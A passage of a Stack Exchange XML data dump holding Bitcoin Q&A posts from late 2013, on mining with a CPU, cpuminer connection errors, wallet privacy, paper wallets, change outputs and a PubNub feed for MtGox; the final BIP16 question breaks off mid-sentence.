  <row Id="19414" PostTypeId="2" ParentId="19402" CreationDate="2013-12-26T17:59:46.890" Score="5" Body="&lt;p&gt;&lt;strong&gt;Bitcoin payments are irreversible&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any transaction issued with Bitcoin cannot be reversed, they can only&#xA;  be refunded by the person receiving the funds. That means you should&#xA;  take care to do business with people and organizations you know and&#xA;  trust, or who have an established reputation. For their part,&#xA;  businesses need to keep control of the payment requests they are&#xA;  displaying to their customers. Bitcoin can detect typos and usually&#xA;  won't let you send money to an invalid address by mistake. Additional&#xA;  services might exist in the future to provide more choice and&#xA;  protection for the consumer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, they might not be lost. Addresses can both be used both for sending and receiving transactions. You have sent them to one of your own addresses. In your case you transferred to another address you own. So your wallet will have a new total minus the transaction cost. So technically, you could refund yourself again but you will loose another transaction cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Crucial note:&lt;/strong&gt;&#xA;All of this depends on your wallet. Some online wallet services share addresses between different users, so you want to be careful if you are using one of those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the standard client, all your addresses are fully under your control and are safe to receive transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/you-need-to-know&quot; rel=&quot;noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2013-12-26T17:59:46.890" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="19416" PostTypeId="2" ParentId="17429" CreationDate="2013-12-26T18:52:24.223" Score="1" Body="&lt;p&gt;There are three problems with this idea:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It focuses on how to distribute wealth rather than how to create it, when the latter part is the hard part. If you don't create any wealth to distribute, it doesn't matter whether you have a good way to distribute it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This would produce a very insecure crypto-currency because anyone who wanted to attack it could rent or steal general purpose computers, which are widely available. You want a mining algorithm that gives legitimate miners (who invest in the coin) an advantage over attackers, and CPUs give the advantage to attackers because botnets have lots of CPUs and general-purpose computing power can easily be rented.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's basically economically infeasible to create a coin with profitable mining. If it's especially profitable, more people will do it until it becomes just barely profitable. Eventually, only those with some special advantage (such as the cheapest power) will do it. You can't use mining as a way to spread wealth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-26T18:52:24.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19418" PostTypeId="1" AcceptedAnswerId="19421" CreationDate="2013-12-26T19:14:08.260" Score="1" ViewCount="8887" Body="&lt;p&gt;I have a MacBook Air running 10.7(Lion) with an Intel Core i5 processor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to try to mine bitcoins for fun. I understand that I alone will probably not be able to get any bitcoins from mining so I registered for some mining pools (Slush's pool, BTC Guild) and tried various applications to try to mine (MacMiner, guiminer, and cgminer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of these, I am able to connect to the mining url with my credentials. guiminer shows that I have a speed of about 2 MH/s. However, nothing else seems to happen even after running these programs for about half an hour. I don't seem to be contributing to any of these pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what is going on wrong?&lt;/p&gt;&#xA;" OwnerUserId="11446" LastEditorUserId="5406" LastEditDate="2017-06-17T23:38:24.097" LastActivityDate="2017-06-17T23:38:24.097" Title="How fast does a processor have to be to mine bitcoins" Tags="|mining-profitability|hashpower|cpu-mining|" AnswerCount="2" CommentCount="2" ClosedDate="2017-06-17T23:38:42.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="19419" PostTypeId="2" ParentId="16918" CreationDate="2013-12-26T19:48:46.663" Score="0" Body="&lt;p&gt;The point of sell walls is to encourage people who are in need or urge to sell their coins at a lower price,thus keeping or moving the market in the direction needed by the owner or owners of the stack.&#xA;Hope that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="11448" LastActivityDate="2013-12-26T19:48:46.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19420" PostTypeId="2" ParentId="19291" CreationDate="2013-12-26T19:59:56.680" Score="3" Body="&lt;h1&gt;MtGox PubNub API and Websockets API&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The two endpoints you are describing are indeed two separate endpoints which you will use under certain conditions depending on what you are seeking.  The Public stream feeds and more can be accessed by issuing a &lt;code&gt;.subscribe()&lt;/code&gt; PubNub SDK instance method call from the PubNub Class. For now the MtGox WS API is in deprecation and recommended that you upgrade using a standard MIT open source PubNub SDK which you can find your language here: &lt;a href=&quot;http://www.pubnub.com/developers/&quot; rel=&quot;nofollow&quot;&gt;http://www.pubnub.com/developers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For receiving data via PubNub Real-Time Network you can use an SDK like JavaScript to receive real-time trade events.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mt.Gox Data Feed Stream:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://cdn.pubnub.com/pubnub.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;(function(){&#xA;&#xA;// INITIALIZE PUBNUB&#xA;var pubnub = PUBNUB.init({&#xA;    subscribe_key : 'sub-c-50d56e1e-2fd9-11e3-a041-02ee2ddab7fe'&#xA;});&#xA;&#xA;// MULTIPLEX SUBSCRIBE TO TICKER FEED AND ALSO TRADES FEED&#xA;pubnub.subscribe({&#xA;    backfill : true,&#xA;    channel  : [&#xA;        'd5f06780-30a8-4a48-a2f8-7ed181b4a13f', // TICKER&#xA;        'dbf1dee9-4f2e-4a08-8cb7-748919a71b21'  // TRADE (BUY/SELL)&#xA;    ],&#xA;    message  : function(message) {&#xA;        // FIRE EVENT WHEN DATA ARRIVES&#xA;        console.log( message.channel_name, message );&#xA;    }&#xA;});&#xA;&#xA;})();&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10713" LastEditorUserId="10713" LastEditDate="2013-12-26T20:06:34.593" LastActivityDate="2013-12-26T20:06:34.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19421" PostTypeId="2" ParentId="19418" CreationDate="2013-12-26T20:13:08.447" Score="2" Body="&lt;p&gt;After the creation of specialized hardware, created &lt;em&gt;ex-professo&lt;/em&gt; for mining bitcoins, difficulty has climbed so high that it's not profitable to mine them in anything but an ASIC (if you can afford it). Anything else and you'll lose money or barely pay the electricity consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, it's definitely &lt;strong&gt;NOT&lt;/strong&gt; recommended to do mining on a laptop - having either the GPU or the CPU running at 100% the whole day long produces a lot of heat and will significantly reduce the life-span of components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, if just for fun, you could try mining Primecoin, Protoshares or Quarkcoin some hours a day - they're minable only with CPU (for now). Or better yet: mine a scrypt-based with your graphic card (it's usually much more profitable). Maybe mine dogecoins for 3-4 hours a day - Dogecoin and the dog meme are fun :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't expect you'll get a lot of any coin mining partial-time.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-26T20:13:08.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19422" PostTypeId="2" ParentId="19393" CreationDate="2013-12-26T20:56:59.410" Score="1" Body="&lt;p&gt;Well, in a sense cash-notes ARE tracked!! You've seen that scene in the movies when the &quot;bad guys&quot; ask for &quot;non-serialized&quot; bank notes as ransom? That's the exact reason: knowing dollar bills from e.g. serial numbers &quot;AAA0001&quot; up to &quot;AAA1000&quot; were given out as such payment allows a number of gov. organizations (from a number of countries) to track the movements of such bills, whenever and wherever they pop up at a legit commerce or bank that accepts them. And, of course, that allows these organizations to more or less track the movements of said people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By asking for notes that don't conform to an (easily recognizable) set, the ability to track the where-abouts of the money (and hence, of the original people who receive it) is much reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;em&gt;trillions&lt;/em&gt; of dollars in the world nowadays, about 8% of which exists as physical bank notes, millions getting lost/burned/teared on any day, and millions more printed. So no gov. agency would attempt to try follow the movement of any coin or bill - just the very much reduced set of bills known for being given as payment to &quot;bad guys&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-26T20:56:59.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19423" PostTypeId="1" CreationDate="2013-12-26T21:44:12.600" Score="0" ViewCount="110" Body="&lt;p&gt;Is there a limit on the number of private/public key pairs one can have inside a wallet? For instance if I have, say, a 1M transactions could I have a million unique bitcoin addresses...each address created with a different private key?&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2014-03-28T03:59:19.893" Title="A limit on privpub key pairs in a wallet" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19424" PostTypeId="1" CreationDate="2013-12-26T22:24:29.807" Score="0" ViewCount="1128" Body="&lt;p&gt;I'm writing a bot that acts on market signals - currently just based on exponential moving averages. At the moment, I have the program watching the market on multiple different period lengths. For example, it will grab the last price right now, calculate and log a moving average if there is enough data, and then 60 minutes from now do the same. It can be doing this for 5min, 15min, 30min, 2h, 4h, etc. etc. time periods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, If I have an algorithm making decisions every 60 minutes, It could very easily lose a lot of money in between the two calculations. My thought is that I should be grabbing market data and calculating values every 1 or 2 minutes, and base those calculations on data from &lt;code&gt;period_length&lt;/code&gt; time ago. It still obviously charts a 60 min or 2h or w/e chart, but does so every 1 min in order to react as fast as possibly to changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct approach, or am I way off on this?&lt;/p&gt;&#xA;" OwnerUserId="11449" LastActivityDate="2018-01-21T17:14:00.450" Title="Calculating EMA on multiple time periods - right or wrong?" Tags="|trading|bots|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19425" PostTypeId="2" ParentId="19423" CreationDate="2013-12-26T22:26:52.790" Score="1" Body="&lt;p&gt;As far as I know there is no limit of keys you can keep in Bitcoin-Qt. Beware though that Bitcoin-Qt only creates 100 addresses in advance with default settings and you should create backups at least every 100 transactions, or set it to generate more private-keys in advance.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-28T02:17:28.380" LastActivityDate="2013-12-28T02:17:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19426" PostTypeId="1" CreationDate="2013-12-26T22:53:34.540" Score="0" ViewCount="174" Body="&lt;p&gt;a couple of question before I have my own wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does having a wallet require personally identifiable information?  Do I need to use my real first and last name or company name, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that individual transactions in your wallet are always public. What about your total balance?  Is it possible to be a bitcoin millionaire without others knowing about it?  If you trade a few bitcoins for real currency every once in a while (i.e. make &quot;withdrawals&quot; for the lack of a better word), will people know that also?&lt;/p&gt;&#xA;" OwnerUserId="11450" LastEditorUserId="1891" LastEditDate="2013-12-27T04:17:48.480" LastActivityDate="2014-04-26T20:18:57.230" Title="About to open my first wallet" Tags="|privacy|withdrawal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19428" PostTypeId="2" ParentId="19426" CreationDate="2013-12-26T23:37:17.283" Score="1" Body="&lt;p&gt;Some online wallet services might require your id, however, if you create a wallet on your local computer there is no personal information required at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The balance of each address is public knowledge at all times, but neither is the owner of an address,  nor the fact that different addresses belong to the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of this information can be gained by analysis of payment patterns or after information about ownership was revealed publicly. For example, addresses can be deduced to probably belonging to the same wallet, if both of them are used in the same transaction as inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use big exchanges with KYC policies to trade your bitcoins for Fiat,  they will be able to tell on you. You might be able to make local exchanges for privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion,  with sufficient know-how and micromanagement you can probably keep your total balance secret. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-26T23:43:14.210" LastActivityDate="2013-12-26T23:43:14.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19430" PostTypeId="2" ParentId="19418" CreationDate="2013-12-27T00:17:08.610" Score="1" Body="&lt;p&gt;At 2MH/s, you should average about one share every 95 minutes. So running for just 30 minutes gives you less than a 50% chance of finding a share. Right now, a share is worth about .000000021 Bitcoins (about 625 shares to the penny). So in about two weeks, you should mine about one penny worth of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're competing against people who have hardware that is 100% optimized for mining Bitcoins from the ground up.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2017-04-21T10:38:53.660" LastActivityDate="2017-04-21T10:38:53.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19433" PostTypeId="1" CreationDate="2013-12-27T01:56:24.043" Score="1" ViewCount="209" Body="&lt;p&gt;I noticed that multiple private keys can be imported into a wallet.  If each private key originally had their own private password password to protect the elliptic curve private keys, does importing them into the wallet mean that they are clear text within the wallet and only the wallet's password is the means to protect those keys when the software wallet client is functioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a use case for bundling numerous private keys together within a wallet. A small businesses will want to have a public key released to each of their clients.  Then, they will want to bundle the associated private keys into a single wallet.  This will allow the small business to not expose their overall income, but still spend their currency as if it where all from one pot.  Would deterministic wallets (not Bitcoin-Qt nor Multibit) be a better fit for small business need?&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2013-12-28T06:09:49.767" LastActivityDate="2014-01-27T08:31:13.787" Title="Does leaving your wallet unencrypted mean that all the private keys bundled in the wallet are susceptable to loss of confidentiality?" Tags="|wallet|e-wallet|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19435" PostTypeId="2" ParentId="4739" CreationDate="2013-12-27T03:18:49.240" Score="1" Body="&lt;p&gt;I think you will start to see more support for this as we attract a larger support base. The alternative is often trusting an anonymous escrow on a forum which isn't so appealing.&#xA;Given support for escrow is essentially built in to the blockchain protocol, it seems natural to integrate it with a wallet.&lt;/p&gt;&#xA;" OwnerUserId="9916" LastActivityDate="2013-12-27T03:18:49.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19436" PostTypeId="1" AcceptedAnswerId="19439" CreationDate="2013-12-27T03:48:52.340" Score="1" ViewCount="186" Body="&lt;p&gt;Considering how large the total blockchain is relative to average download speeds, why were the blocks never data compressed before being sent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why could this not be implemented on a new alt?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-27T05:16:10.333" LastActivityDate="2013-12-27T05:16:10.333" Title="Why aren't blocks &quot;zipped&quot;?" Tags="|block|alternatives|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19437" PostTypeId="1" CreationDate="2013-12-27T03:51:49.823" Score="0" ViewCount="4203" Body="&lt;p&gt;Ok, so let's say I have a wallet with 1 BTC in it. Is it possible to transfer that balance to a QR code or some type of barcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if it's possible to basically print out a piece of paper with a barcode or QR on it and physically hand it to someone else so they can scan the code and receive the coin the same way a giftcard works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, is there a way to encode a giftcard with a specific amount of bitcoin so someone could then scan it and the BTC would be transferred to their wallet?&lt;/p&gt;&#xA;" OwnerUserId="11458" LastActivityDate="2019-11-26T03:57:10.567" Title="Bitcoin transfer through QR codes" Tags="|wallet|client|e-wallet|qrcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19438" PostTypeId="2" ParentId="19437" CreationDate="2013-12-27T04:47:38.100" Score="2" Body="&lt;p&gt;That's a paper wallet. Search for that. bitaddress.org or paperwallet.com are examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way you intend to use it basically comes down to printing the private key part of a bitcoin wallet and giving that to someone else. Another use would be putting it in a safe so you can't get hacked.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-12-27T04:47:38.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19439" PostTypeId="2" ParentId="19436" CreationDate="2013-12-27T05:05:04.087" Score="3" Body="&lt;p&gt;Because the data is already serialized in a pretty compact way and large parts of that data are hashes which are effectively random numbers as far as compressability is concerned. (Random data is not compressable.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when you search for for example a transaction id in an index, it will point you to the exact location in the blockchain. Having to read a whole bunch of data around that area and decompress it before being able to access the transaction that you wanted, adds disk I/O, CPU overhead and memory consumption. That severely limits the dictionary size any compression algorithm could use, and therefore the compression ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try by zipping the whole blockchain file, but remember that any usable live compression would have a lower ratio than what you would find.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-12-27T05:05:04.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19440" PostTypeId="2" ParentId="12163" CreationDate="2013-12-27T05:31:24.480" Score="0" Body="&lt;p&gt;Here are ways I store Litecoin online and their (referral) links after I get BTC from Coinbase and then sent it to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptsy (&lt;a href=&quot;https://www.cryptsy.com/users/register?refid=64025&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptsy.com/users/register?refid=64025&lt;/a&gt;): buggy at times (rare overbuy and oversell issues (the former causing a negative balance) and some claim it &quot;deletes&quot; their coins but I've only had the negative balance problem once (just sold back the coins when they went up)  and its a quite slow/laggy but has tons of alt coins to play with and charts for each (google: coinmarketcap) is a good way to see what's hot but it changes all the time so sometimes its on its way back down after you buy some LOL). Hopefully they'll get more &quot;server power&quot; soon with additional hardware to speed things up and fix the bugs in the near future if not already); USD as well as Escrow are future features but you can do LTC/BTC and LTC has its own markets too (altcoin/LTC; they sometimes have less action than BTC market though even when there's an altcoin they have in common IMO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-e: good in conjunction with Bitcoinwisdom (google it) for looking at exchange rates of LTC/USD and LTC/BTC (hover your mouse over markets and select a BTC-e exchange you like (I move BTC to it because it only accepts USD from Russian Paypal-like services some of which only provide services to non-US residents (Perfect Money and OKpay of the ones I tried) or want you to verify your account by filling out snail mail from Russia (Liqpay, the intermediary service for Payeer). No thanks to that.). The chat feature (troll box) is fun to watch but you need $100 or more net worth to post and you can get banned from the troll box for minutes, hours, or even days depending on the whims of the wavers of the banhammer! LOL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LTC4YOU: not a wallet but a time-wasting game b/c you only get about 0.000005 LTC (5 uLTC or micro LTC) per hour (used to be six times that but varies based on current price and number of referrals you get) but it's free so that's better than nothing (probably best to deposit it to an offline LTC wallet like Litecoin-Qt (b/c LTC deposit addresses on exchanges may change over time maybe?) and make sure to change the payout address in the Accounts tab to the offline one because it made mine into something random (it was said to be your own private address for this site) after I signed up so when I requested my payout it directed to who-knows-where (I thought it was suspicious but after e-mailing the staff, they were more than willing to help and fixed it to what I requested it to be). Also know that the withdrawal fee as of wallet version 0.8.6.1 is lower than before as 0.001 LTC. As for pros, it's fun to see the numbers go around and around, the chance at the jackpot (0.001 LTC or more to 30 people at random each day), and added benefits (increased hourly winnings) with referring people like this... &lt;a href=&quot;http://ltc4you.com/?r=1956&quot; rel=&quot;nofollow&quot;&gt;http://ltc4you.com/?r=1956&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy Crypcoining!&lt;/p&gt;&#xA;" OwnerUserId="11459" LastActivityDate="2013-12-27T05:31:24.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19441" PostTypeId="1" CreationDate="2013-12-27T06:26:25.453" Score="0" ViewCount="26129" Body="&lt;pre&gt;&lt;code&gt;root@i-M116V:/var/www/cpuminer-2.2.3# ./minerd&#xA;[2013-12-27 15:22:35] 2 miner threads started, using 'scrypt' algorithm.&#xA;[2013-12-27 15:22:35] Binding thread 1 to cpu 1&#xA;[2013-12-27 15:22:35] Binding thread 0 to cpu 0&#xA;[2013-12-27 15:22:35] HTTP request failed: Failed connect to 127.0.0.1:9332; Connection refused&#xA;[2013-12-27 15:22:35] json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using a laptop with no GPU.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@i-M116V:~# netstat -anp | grep 9332&#xA;root@i-M116V:~# &#xA;&#xA;i@i-M116V:~$ cd /home/i/デスクトップ/cpuminer-master/cpuminer&#xA;i@i-M116V:~/デスクトップ/cpuminer-master/cpuminer$ ./minerd -o ltc.give-me-coins.com:3333 -u sukarutinohu.1 -p 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11460" LastEditorUserId="2306" LastEditDate="2015-04-26T21:08:12.033" LastActivityDate="2015-04-26T21:08:12.033" Title="cpuminer json rpc call failed" Tags="|bitcoind|litecoin|cpu|" AnswerCount="2" CommentCount="1" ClosedDate="2013-12-31T01:02:21.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="19445" PostTypeId="1" CreationDate="2013-12-27T06:49:54.567" Score="2" ViewCount="281" Body="&lt;p&gt;I just noticed that when you send an amount to someone. You actually send them the entire wallet amount and then it gets sent back as change. Is this true and why was it implemented in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also since it gets sent back as change, how would this affect a paper wallet? Does the same apply? Currently I have a paper wallet and I sent some coins to another wallet from my paper one. I hope everything is still safe. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-27T18:29:18.053" Title="I noticed that sending a transaction actually means sending your entire wallet amount to the person and you get change back?" Tags="|paper-wallet|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19446" PostTypeId="2" ParentId="19441" CreationDate="2013-12-27T07:12:49.413" Score="2" Body="&lt;p&gt;You should sign up for a pool service and configure minerd to send shares to that service.  Right now it is attempting to connect to a local instance of a scrypt coin (litecoind I would presume) on port 9332 for solo mining.  If that is what you intended then verify that you have a server running and listening on that port.  It is also not recommended to run minerd as root in case theres is a remote buffer overflow vulnerability in the application.  You can check by executing the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;netstat -anp | grep 9332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell you what application had that port open if any does.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-27T07:12:49.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19447" PostTypeId="2" ParentId="19445" CreationDate="2013-12-27T07:22:24.113" Score="3" Body="&lt;p&gt;Requiring an output to be fully consumed by a single transaction simplifies things -- an output is either spent or unspent, period. The idea is to avoid a proliferation of partially unspent outputs that would be very difficult to track. If a transaction could partially consume an output, then you'd have a whole new category of partially unspent outputs, each potentially partially consumed in some number of places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to send the &quot;change&quot; to the original receiving address. If you do that, the paper wallet will still contain the key to access the new change outputs. If you use a new address for the change, then the paper wallet will be unable to spend the change. (Unless it's a complex type of deterministic wallet, which I very much doubt.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the current system, each output is either consumed by a transaction which has it as an input or it is unconsumed and is a valid output to be consumed by a future transaction. With partial spends allowed, each output could be partially-consumed by any number of other transactions, making the system much more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current System:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You get a check for $100. You now have a $100 unspent output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You send $10 to a friend by consuming the $100 and sending $90 to yourself. The $100 check is now fully consumed. You have one output for $90 and nobody cares about the check anymore.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You send $20 to a friend by consuming the $90 and sending $70 to yourself. You now still have only one output, both previous outputs are fully consumed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notice how the state stays simple at all times? Every output is either fully-consumed or untouched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System with partial consumption:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You get a check for $100. You have a $100 unspent output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You send $10 to a friend. To understand that you have $90 left, we need to look at both the $100 check you got and the $10 you sent to a friend.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You send $20 to a friend. To understand that you have $70 left, we need to look at the $100 check you got, the $10 you sent in step 2, and the $20 you sent now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notice how the system's state is getting much more complicated? To understand what is left of the $100, we have to look at two other transactions that partially consumed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just much simpler to fully consume and replace with a new, smaller unspent output than have to track partial consumption across two places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse, imagine if you got two checks for $10 and wanted to send $15 to a friend. Now we'd have to look in &lt;em&gt;three&lt;/em&gt; places to know what was left -- both checks and the $15 you sent to a friend to figure out you have $5 left. It's much, much simpler to just destroy the original checks and issue you a $5 payment to yourself. Now, we know the checks are dead because a transaction touches them. We know the $5 payment to yourself is good because nothing touches it. Everything is either spent or unspent. Simple.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-12-27T18:29:18.053" LastActivityDate="2013-12-27T18:29:18.053" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19449" PostTypeId="1" CreationDate="2013-12-27T12:16:03.130" Score="0" ViewCount="341" Body="&lt;p&gt;I would like to know how to start developing trading platform for BTC,LTC where the user can create his wallet, send and receive coins, Buy and sell coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have checked the trading platforms and i know what needs to be done. But BTC has open source code. if anyone has used it and know whether it would be better to go with BTC open source or an api.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone guide me in starting this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11465" LastEditorUserId="11465" LastEditDate="2013-12-27T14:23:17.017" LastActivityDate="2013-12-27T14:23:17.017" Title="how to develop trading platform for bitcoin" Tags="|exchanges|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2014-01-09T20:32:09.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="19450" PostTypeId="1" AcceptedAnswerId="19453" CreationDate="2013-12-27T13:26:26.297" Score="23" ViewCount="5162" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot;&gt;BIP16&lt;/a&gt; gives the following example to explain &quot;Pay to Script Hash&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig:    [signature] {[pubkey] OP_CHECKSIG}&#xA;scriptPubKey: OP_HASH160 [20-byte-hash of {[pubkey] OP_CHECKSIG} ] OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't get what's happening here. I've tried executing the script on paper (and assumed the parts in squared/curly brackets are treated as constants):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;[signature]&lt;/code&gt; and &lt;code&gt;{[pubkey] OP_CHECKSIG}&lt;/code&gt; are pushed onto the stack&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;OP_HASH160&lt;/code&gt; hashes &lt;code&gt;{[pubkey] OP_CHECKSIG}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The same hash comes from the &lt;code&gt;scriptPubKey&lt;/code&gt; onto the stack&lt;/li&gt;&#xA;&lt;li&gt;Consequently &lt;code&gt;OP_EQUAL&lt;/code&gt; gives &lt;code&gt;True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;[signature]&lt;/code&gt; is not checked at all!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;{[pubkey] OP_CHECKSIG}&lt;/code&gt; is executed, the scriptSig would only give &lt;code&gt;True&lt;/code&gt;, which makes even less sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To frame a clear question: How do &quot;Pay to Script 